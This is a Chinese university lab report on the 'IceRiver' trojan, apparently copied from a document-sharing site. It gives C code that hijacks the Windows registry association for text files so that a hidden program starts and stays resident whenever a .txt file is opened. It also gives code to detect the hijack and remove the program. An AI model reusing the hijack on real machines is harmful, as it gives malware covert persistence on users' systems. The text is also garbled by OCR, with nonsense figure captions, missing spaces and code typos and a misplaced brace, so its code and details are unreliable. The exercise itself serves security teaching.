版权说明:本文档由用户提供并上传,收益归属内容提供方,若内容存在侵权,请进行举报或认领
文档简介
沈阳工程学院学生实验报告实验室名称:信息学院网络安全实验室实验课程名称:网络安全技术实验项目名称:实验二程序内存驻留与木马原型班级:姓名:学号:实验日期:2014年3月21日实验台编号:34指导教师:批阅教师(签字): 成绩:实验目的理解内存驻留程序,编写程序实现内存驻留;理解“冰河”原型木马,编写程序实现简单的木马。实验内容编程实现:“冰河”原型;编程判断是否中了“冰河”原型木马,并能查杀木马。实验原理“冰河“木马开发于1999年,在设计之初,开发者的本意是编写一个功能强大的远程控制软件。但一经推出,就依靠其强大的功能成为了黑客们发动入侵的工具,并结束了国外木马一统天下的局面,成为国产木马的标志和代名词。在2006年之前,冰河在国内一直是不可动摇的领军木马,在国内没用过冰河的人等于没用过木马,由此可见冰河木马在国内的影响力之巨大。1) 自动跟踪目标机屏幕变化,同时可以完全模拟键盘及鼠标输入,即在同步被控端屏幕变化的同时,监控端的一切键盘及鼠标操作将反映在被控端屏幕(局域网适用);2) 记录各种口令信息:包括开机口令、屏保口令、各种共享资源口令及绝大多数在对话框中出现过的口令信息;3) 获取系统信息:包括计算机名、注册公司、当前用户、系统路径、操作系统版本、当前显示分辨率、物理及逻辑磁盘信息等多项系统数据;4) 限制系统功能:包括远程关机、远程重启计算机、锁定鼠标、锁定系统热键及锁定注册表等多项功能限制;5) 远程文件操作:包括创建、上传、下载、复制、删除文件或目录、文件压缩、快速浏览文本文件、远程打开文件(提供了四中不同的打开方式一正常方式、最大化、最小化和隐藏方式)等多项文件操作功能;6) 注册表操作:包括对主键的浏览、增删、复制、重命名和对键值的读写等所有注册表操作功能;7) 发送信息:以四种常用图标向被控端发送简短信息;8) 点对点通讯:以聊天室形式同被控端进行在线交谈。从一定程度上可以说冰河是最有名的木马了,就连刚接触电脑的用户也听说过它。虽然许多杀毒软件可以查杀它,但国内仍有几十万中冰河的电脑存在!作为木马,冰河创造了最多人使用、最多人中弹的奇迹!实验软硬件环境虚拟机中windows2000环境。实验步骤第一步:“冰河”木马的文本文件关联采用“冰河”将自己与文本文件的打开方式相关联的方法实现植入“冰河”。关联的方法就是使用注册表"HKEY_CLASSES_ROOT”主键下的“txtfile\shell\open\command”键。程序要实现的功能是:当用户双击打开一个文本文件,先启动要驻留的程序,然后再启动记事本打开这个文本文件。这包括两方面内容,一是编程修改注册表,二是编程实现程序自动驻留。运行本程序前,请先确定系统是否中了“冰河”。有查看注册表内容和程序两种判断方式。分别如图1和图2所示。寻 si理©U.) REG_EXFAND_SZ ?!SystemRoot%\system32\mOTEFAI).EXE%1图1通过注册表判断未中“冰河”*D:\FrogrmFilesVlicrosoftVisualStud.1o\lyProjects\ssss\Deb没有中冰河Pressanykeytocontinue.图2通过程序判断未中“冰河”【程序源代码】#include<stdio.h>#include<windows.h>〃结构WNDCLASS包含一个窗口类的全部信息WNDCLASSwc;HWNDh_wnd;MSGmsg;//冰河木马修改注册表函数IceRiverEditReg声明boolIceRiverEditReg(void);〃消息处理函数wndProc的声明longWINAPIWindowProc(HWND,UINT,WPARAM,LPARAM);//winMain函数的功能是被系统调用,作为一个32位应用程序的入口点。intPASCALWinMain(HINSTANCEh_CurInstance,HINSTANCEh_PrevInstance,LPSTRp_CmdLine,intm_Show){//修改注册表boolbRegEditFlag=IceRiverEditReg();〃以下被注释的代码为判定注册表是否修改成功/*if(bRegEditFlag==true)MessageBox(NULL,”注册表修改成功!",””,MB_OK);*///bSsuccess用于保存CreateProcess函数返回值BOOLbSuccess;//PROCESS_INFORMATION结构返回有关新进程及其主线程的信息。PROCESS_INFORMATIONpiProcInfo;//STARTUPINFO结构用于指定新进程的主窗口特性。STARTUPINFOInfo;〃以下为Info的相关成员,详见MSDNInfo.cb=sizeof(STARTUPINFO);Info.lpReserved=NULL;Info.lpDesktop=NULL;Info.lpTitle=NULL;Info.cbReserved2=0;Info.lpReserved2=NULL;//lpAppName用来保存双击打开的txt文件的绝对路径,并在之前添加命令//notepad.exe,其目标形式如:notepad.exec:\abc.txtcharlpAppName[100];strcpy(lpAppName,"notepad.exe");//MessageBox(NULL,lpAppName,"",MB_OK);if(strcmp(p_CmdLine,"")!=0)strcat(lpAppName,p_CmdLine);MessageBox(NULL,lpAppName,"",MB_OK);//WIN32API函数CreateProcess用来创建一个新的进程和它的主线程,这个新〃进程运行指定的可执行文件。在此为创建进程notepad.exebSuccess=CreateProcess(NULL,lpAppName,NULL,NULL,false,NULL,NULL,NULL,&Info,&piProcInfo);//初始化wndclass结构变量wc.lpfnWndProc=WindowProc;wc.hInstance=hCurInstance;wc.hbrBackground=(HBRUSH)GetStockObject(WHITE_BRUSH);wc.lpszClassName="TheMainClass”;//注册WndClass结构变量RegisterClass(&wc);〃创建窗口h_wnd=CreateWindow("TheMainClass”,"OurfirstWindow",WS_OVERLAPPEDWINDOW,0,0,400,500,0,0,h_CurInstance,0);〃显示窗口ShowWindow(h_wnd,SW_HIDE);〃消息循环while(GetMessage(&msg,NULL,0,0))DispatchMessage(&msg);return(msg.wParam);}〃定义消息处理函数longWINAPIWindowProc(HWNDh_wnd,UINTWinMsg,WPARAMw_param,LPARAMl_param){switch(WinMsg){caseWM_DESTROY://PostQuitMessage函数向系统表明有个线程有终止请求PostQuitMessage(0);return0;}//DefWindowProc为应用程序没有处理的任何窗口消息提供缺省的处理returnDefWindowProc(h_wnd,WinMsg,w_param,l_param);}//IceRiverEditReg函数用于修改注册表HKEY_CLASSES_ROOT//\\txtfile\\shell\\open\\command健值,将其修改为://"C:\\IceRiver\\Debug\\IceRiver.exe%1”,修改成功则返回true,〃失败则返回falseboolIceRiverEditReg(void){HKEYhKeyl;LONGlRetCode;lRetCode=RegOpenKeyEx(HKEY_CLASSES_ROOT,"txtfile\\shell\\open\\command”,0,KEY_WRITE,&hKey1);if(lRetCode!=ERRORSUCCESS){returnfalse;}IRetCode=RegSetValueEx(hKeyl,"",0,REG_EXPAND_SZ,(byte*)"C:\\IceRiver\\Debug\\IceRiver.exe%1",50);if(lRetCode!=ERROR_SUCCESS){returnfalse;}returntrue;}编译运行程序后,对应位置注册表健值被修改,如图3所示。)帮助但)名称类型数形REG_EKPABI)_SZC:\IceRiver\Debug\IceRiver.exe%1图3植入“冰河”后注册表被修改将编译好的可执行文件改名为“IceRiver.exe”,并把“IceRiver.exe”拷贝到虚拟机操作系统的“C:\IceRiver\Debug\”目录中,之后打开任一后缀为.txt的文本文件,通过任务管理器中进程的变化,可以发现打开txt文件的同时,除了添加NOTEPAD.exe进程外还添加了IceRiver.exe进程。关闭txt文件后,我们可以发现进程NOTEPAD.exe被关闭,但是IceRiver.exe进程依旧存在,这就达到了程序自动驻留的目的。双击txt文件后后台运行的命令,如图4所示。boot,inibootfont.bin^CONTIG-.SYS10.SYS回jstarta-boot,inibootfont.bin^CONTIG-.SYS10.SYS回jstarta-service.也kisinstall.datLab.txt国MSDOS.SYS.iniHWTHETECT.COM国ntlilr画pagefile.sysL^jStuderLt.mdb四〕新建MicrosoftKBKEKBKBKB472522..095..1043..1980Visio篷...1KB配置设置316KBBIN文件0KB系统文件系统文件艾本文档DAT文件文本文档系统文件配置设置MS-DOS应用程序系统文件系统文件Minraeci£t0££icMicroEoftVieio图4双击txt文件时提示后台命令第二步:查杀“冰河”木马查杀“冰河”木马程序源代码如下:#include<stdio.h>#include<windows.h>#include<string.h>〃常量字符指针RegValue指向字符串"%SystemRoot%\\system32\\NOTEPAD.EXE%1",constchar*RegValue="%SystemRoot%\\system32\\NOTEPAD.EXE%1";〃声明有效路径获取函数GetValidPathchar*GetValidPath(char*GetPath);〃声明删除关联函数DeleteConnectionvoidDeleteConnection(char*DelPath);〃声明注册表恢复函数RecoverRegvoidRecoverReg(HKEYKey,LONGRetCode);intmain(void){〃获取注册表HKEY_CLASSES_ROOT,\\txtfile\\shell\\open\\command健值HKEYhKEY;LPCTSTRdata_Set="txtfile\\shell\\open\\command";longret0=(RegOpenKeyEx(HKEY_CLASSES_ROOT,data_Set,0,KEY_READ,&hKEY));〃如果无法打开hKEY,则终止程序的执行if(ret0!=ERROR_SUCCESS){return0;〃如没被修改时为://"%SystemRoot%\\system32\\NOTEPAD.EXE%1"LPBYTEowner_Get=newBYTE[80];DWORDtype_1=REG_EXPAND_SZ;DWORDcbData_1=80;longret1=RegQueryValueEx(hKEY,NULL,NULL,&type_1,owner_Get,&cbData_1);if(ret1!=ERROR_SUCCESS){return0;}//判断对应健值是否被修改,即判断是否中了冰河if(strcmp((constchar*)owner_Get,RegVilue)==0)printf("没有中冰河\n");else{printf("可能中了冰M\n");char*path=(char*)owner_Get;path=GetValidPath(path);DeleteConnection(path);RecoverReg(hKEY,ret1);}}〃获取注册表HKEY_CLASSES_ROOT\\txtfile\\shell\\open\\command//健值表示的有效路径。如若键值为//"%SystemRoot%\\system32\\NOTEPAD.EXE%1",〃则函数返回的指针指向"%SystemRoot%\\system32\\NOTEPAD.EXE"char*GetValidPath(char*GetPath){intlen=strlen(GetPath);printf("pathvalue:%s\nlen:%d\n",GetPath,len);〃由于键值的最后三个字符为”%1"导致键值不是有效路径,因此,将倒数第三个//字符(空格)赋值为字符结束标志'\0'*(GetPath+(len-3)*sizeof(char))='\0';printf("%s\n",GetPath);returnGetPath;}〃删除关联文件,若删除成功则提示注意查看,若删除失败,则提示删除失败voidDeleteConnection(char*DelPath){if(DeleteFile(DelPath)!=0)printf("DeleteFilesucceeded!Pleaseexamineintime!\n");else{printf("DeleteFileFailed!\n");printf("LastError:%d\n",GetLastError());}}//恢复注册表,将对应健值赋为”%SystemRoot%\\system32\\NOTEPAD.EXE%1"voidRecoverReg(HKEYKey,LONGRet
温馨提示
- 1. 本站所有资源如无特殊说明,都需要本地电脑安装OFFICE2007和PDF阅读器。图纸软件为CAD,CAXA,PROE,UG,SolidWorks等.压缩文件请下载最新的WinRAR软件解压。
- 2. 本站的文档不包含任何第三方提供的附件图纸等,如果需要附件,请联系上传者。文件的所有权益归上传用户所有。
- 3. 本站RAR压缩包中若带图纸,网页内容里面会有图纸预览,若没有图纸预览就没有图纸。
- 4. 未经权益所有人同意不得将文件中的内容挪作商业或盈利用途。
- 5. 人人文库网仅提供信息存储空间,仅对用户上传内容的表现方式做保护处理,对用户上传分享的文档内容本身不做任何修改或编辑,并不能对任何下载内容负责。
- 6. 下载文件中如有侵权或不适当内容,请与我们联系,我们立即纠正。
- 7. 本站不保证下载资源的准确性、安全性和完整性, 同时也不承担用户因使用这些下载资源对自己和他人造成任何形式的伤害或损失。
最新文档
- 2026广东茂名市职业病防治院(茂名市骨伤科医院)招聘就业见习岗位人员1人备考题库及参考答案详解(a卷)
- 2026浙江大学良渚实验室结构药理学课题组诚招多名博士后(长期有效)笔试模拟试题及答案解析
- 2026华北医疗健康集团邢台总医院公开招聘高校毕业生23名笔试参考题库及答案解析
- 2026年济宁鱼台邮政春季校园招聘笔试参考题库及答案解析
- 2026天津市北辰区中医医院第一批招聘合同制人员2人考试备考题库及答案解析
- 校车安全管理责任制度
- 2026安徽师范大学教育集团面向校内外招聘中小学正副校长笔试备考题库及答案解析
- 2026年度亳州学院高层次人才公开招聘笔试模拟试题及答案解析
- 2026广东韶关市曲江区交通投资建设有限公司招聘1人考试参考试题及答案解析
- 2026年锦泰财产保险股份有限公司校园招聘笔试备考题库及答案解析
- 小学信息技术四年级下册《制作校园生活短视频》教学设计
- 睿信咨询:2026年中国能源行业高质量发展白皮书
- 2026 婴幼儿发展引导员(中级四级)职业技能鉴定考试题库(完整版)
- 新疆喀什地区事业单位笔试真题2025年(附答案)
- 2024-2025学年度南京特殊教育师范学院单招《语文》测试卷(历年真题)附答案详解
- 理科综合-2026年新疆普通高考三月适应性检测试卷(含答案)
- 2025年宁波甬开产城运营管理有限公司招聘备考题库及答案详解(易错题)
- 2026年山东省初中信息技术学业水平考试试题库模拟题及答案解析
- 2026年杭州市余杭区闲林街道办事处招考易考易错模拟试题(共500题)试卷后附参考答案
- 2025年阿坝州面向社会公开招募新兴领域党建工作专员笔试历年典型考题(历年真题考点)解题思路附带答案详解
- 小学科学教育中虚拟现实人工智能资源交互设计对学生科学思维能力的培养教学研究课题报告
评论
0/150
提交评论